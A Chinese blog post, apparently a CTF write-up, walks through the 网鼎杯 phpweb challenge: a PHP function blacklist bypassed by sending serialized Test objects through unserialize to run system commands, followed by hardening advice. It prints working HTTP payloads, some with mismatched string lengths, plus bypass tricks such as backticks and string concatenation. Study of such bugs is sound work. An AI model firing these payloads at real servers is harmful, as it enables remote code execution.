当前位置: 首页 > news >正文

PHP代码审计入门:从一道BUUCTF真题(网鼎杯phpweb)学黑名单绕过与反序列化利用

PHP代码审计实战:黑名单绕过与反序列化漏洞深度解析

在CTF竞赛中,PHP代码审计一直是Web安全方向的重要考点。这道来自网鼎杯朱雀组的phpweb题目,完美展示了黑名单过滤机制的缺陷与反序列化漏洞的结合利用。本文将带您从零开始,逐步拆解这道经典题目,掌握PHP安全审计的核心技巧。

1. 题目环境与初步探测

首先观察题目页面行为:每隔5秒自动刷新页面。通过Burp Suite抓包发现每次刷新会提交两个POST参数:

POST / HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded func=gettime&p=2021-04-23

初步猜测这是一个函数调用接口:

  • func参数指定要调用的函数名
  • p参数作为函数参数传递

测试常见危险函数时发现大部分被拦截:

# 测试命令执行 func=system&p=whoami # 返回"Hacker..." func=exec&p=ls # 同上 # 测试文件读取 func=file_get_contents&p=index.php # 成功获取源码

2. 源码审计与黑名单分析

获取到的index.php源码揭示了关键防御机制:

$disable_fun = array("exec","shell_exec","system","passthru",...); // 共35个禁用函数 function gettime($func, $p) { $result = call_user_func($func, $p); if (gettype($result) == "string") { return $result; } return ""; } // 关键Test类 class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } }

安全机制分析:

防御层实现方式限制条件
函数黑名单in_array($func,$disable_fun)禁用35个危险函数
返回值限制gettype($result) == "string"只允许返回字符串类型
大小写过滤strtolower($func)防止大小写绕过

3. 黑名单绕过技术剖析

3.1 直接绕过尝试

首先检查黑名单遗漏的函数:

// 测试未被禁用的危险函数 func=passthru&p=whoami # 被拦截 func=pcntl_exec&p=/bin/sh # 被拦截 func=create_function&p=return system("whoami"); # 返回空(不符合字符串类型)

3.2 反序列化漏洞发现

关键突破点在于Test类的设计:

class Test { var $p; var $func; function __destruct() { echo gettime($this->func, $this->p); } }

利用链构造思路:

  1. 通过unserialize触发对象反序列化
  2. 反序列化后的对象在销毁时自动调用__destruct
  3. __destruct中调用gettime执行任意函数

3.3 完整利用链构建

分步构造Payload:

  1. 创建恶意Test对象:
class Test { var $func = "system"; var $p = "whoami"; } echo serialize(new Test()); // 输出:O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:6:"whoami";}
  1. 通过原始接口触发:
POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:6:"whoami";}

绕过原理对比:

调用方式过滤检查是否绕过
直接调用system检查func在黑名单中×
通过反序列化调用只检查unserialize不在黑名单

4. 漏洞利用实战演示

4.1 基础命令执行

POST / HTTP/1.1 func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:8:"ls -lha";}

4.2 多命令串联执行

$payload = new Test(); $payload->func = "system"; $payload->p = "whoami; pwd; find / -name '*flag*'"; echo serialize($payload);

4.3 文件系统探测

POST / HTTP/1.1 func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"find / -type f -name flag*";}

4.4 最终flag获取

POST / HTTP/1.1 func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:19:"cat /tmp/flagoefiu4r93";}

5. 防御方案与最佳实践

5.1 黑名单机制的改进

原始黑名单的不足:

  • 依赖枚举危险函数(永远不全)
  • 未考虑动态调用链
  • 忽略反序列化入口

改进方案:

// 白名单替代黑名单 $allowed_func = ['date', 'strtotime', 'gettime']; // 增加反序列化过滤 if ($func === 'unserialize') { $p = unserialize($p, ['allowed_classes' => []]); }

5.2 安全开发建议

  1. 输入验证原则

    • 优先使用白名单而非黑名单
    • 对动态函数调用进行严格限制
    • 禁用不必要的危险函数(php.ini中disable_functions)
  2. 反序列化防护

// 禁用对象反序列化 ini_set('unserialize_callback_func', ''); unserialize($data, ['allowed_classes' => false]); // 或仅允许特定类 unserialize($data, ['allowed_classes' => ['SafeClass']]);
  1. 日志监控建议
# 监控可疑函数调用 grep -r "call_user_func" /var/log/apache2/ grep -r "unserialize" /var/log/nginx/

6. 同类漏洞模式扩展

6.1 常见触发场景

漏洞类型典型代码模式案例
动态函数调用$func($_GET['param'])CVE-2021-21345
反序列化+魔术方法__destruct()调用危险方法ThinkPHP RCE
回调函数滥用array_map($callback, $data)WordPress插件漏洞

6.2 CTF中的变种考察

  1. 黑名单扩展绕过
// 过滤了system但未过滤反引号 `$_GET['cmd']`
  1. 二次编码绕过
// 原始输入 func=hex2bin&p=73697374656d // 实际执行 system('whoami')
  1. PHP特性利用
// 通过字符串拼接绕过 $func = 'sys'.'tem'; $func('whoami');

在真实项目代码审计时,建议建立以下检查清单:

  1. 查找所有call_user_func/call_user_func_array调用点
  2. 检查unserialize参数是否可控
  3. 审核所有魔术方法(__destruct__wakeup等)
  4. 验证动态函数调用($var()语法)
  5. 检查可能存在回调的函数(array_filterusort等)
http://www.jsqmd.com/news/963212/

相关文章:

  • Pandas GroupBy深度解析:从语法到数据建模的范式跃迁
  • Spring AI Alibaba 向量存储技术架构:企业级AI基础设施的生产部署指南
  • 峰值检测电路设计:从基础原理到工程实践的全解析
  • 中级经济师宝妈怎么备考?碎片化时间管理和学习安排建议 - 众智商学院职业教育
  • 有哪些AI写作辅助平台是真的适配学科专业,而不是空洞拼凑?
  • 2026 济南黄金回收旧金稳妥变现分步教程光谱测金杜绝缺秤陷阱 - 奢侈品回收评测
  • ZYNQ7000 GPIO实战:从寄存器手册到Vitis代码,手把手教你玩转MIO/EMIO
  • 别再死记硬背了!用示波器抓一次波形,彻底搞懂MIPI D-PHY的LP/HS模式切换
  • 别再只用CrossEntropyLoss了!PyTorch实战:用Label Smoothing提升你的分类模型泛化能力(附完整代码)
  • 告别手动点点点:用AutoJS写个自动刷视频脚本,解放你的双手(附完整代码)
  • 东莞卖金避坑行业盘点:S 级认证禹竞,持证仪器鉴金规避扣重、虚报价各类套路 - 奢侈品交易观察员
  • 移动硬盘盒芯片方案全解析:从JMicron到ASMedia,如何选对核心主控
  • 软考 系统架构设计师历年真题集萃(275)
  • 安卓虚拟摄像头:重新定义Android系统级摄像头劫持的技术架构与实践
  • 华为旧闻解析:从现金流与供应链看企业战略决策的底层逻辑
  • 华为/华三交换机配置入门:从VLAN划分到三层互通的完整实验指南(含PVID避坑点)
  • 从智能手表到扫地机器人:一文讲透嵌入式开发的四大岗位与真实工作日常
  • 2026西安黄金回收怕扣损耗压成色?拿这四个标准去套?只有这几家绝不套路 - 西安闲转记
  • 如何用QQ截图独立版3大核心功能提升Windows工作效率:终极免费工具指南
  • 告别KD树搜索!用Voxelized GICP在ROS中实现120Hz的激光雷达实时里程计
  • 别再乱用sudo了!聊聊Linux里那些危险的SUID/SGID权限(附排查与清理脚本)
  • CSDN AI引流卡片到底能不能放个人微信?:2024年Q2平台审核日志实录+7类被限流账号的共性特征分析
  • Agent-S3:首个超越人类性能的智能体框架终极指南
  • iPhone 6s在iOS 15.8.3上的TrollInstallerX安装指南:解决A9芯片的兼容性挑战
  • 生产级机器学习模型部署:封装-服务-监控铁三角实战
  • VirtualBox Host-Only Network #2导致eNSP AR2220报错40?别慌,试试这个网络重置大法
  • JDWP Shellifier 深度解析:Java 调试协议的安全攻防实战指南
  • 如何在3D Slicer中快速集成TotalSegmentator:医学影像研究者的终极指南
  • 2026广州黄金收金扒底测评|连锁金行 vs 小众作坊,哪家变现不亏秤? - 奢侈品回收评测
  • FPGA DDS设计:MATLAB生成MIF文件与Quartus II集成的避坑指南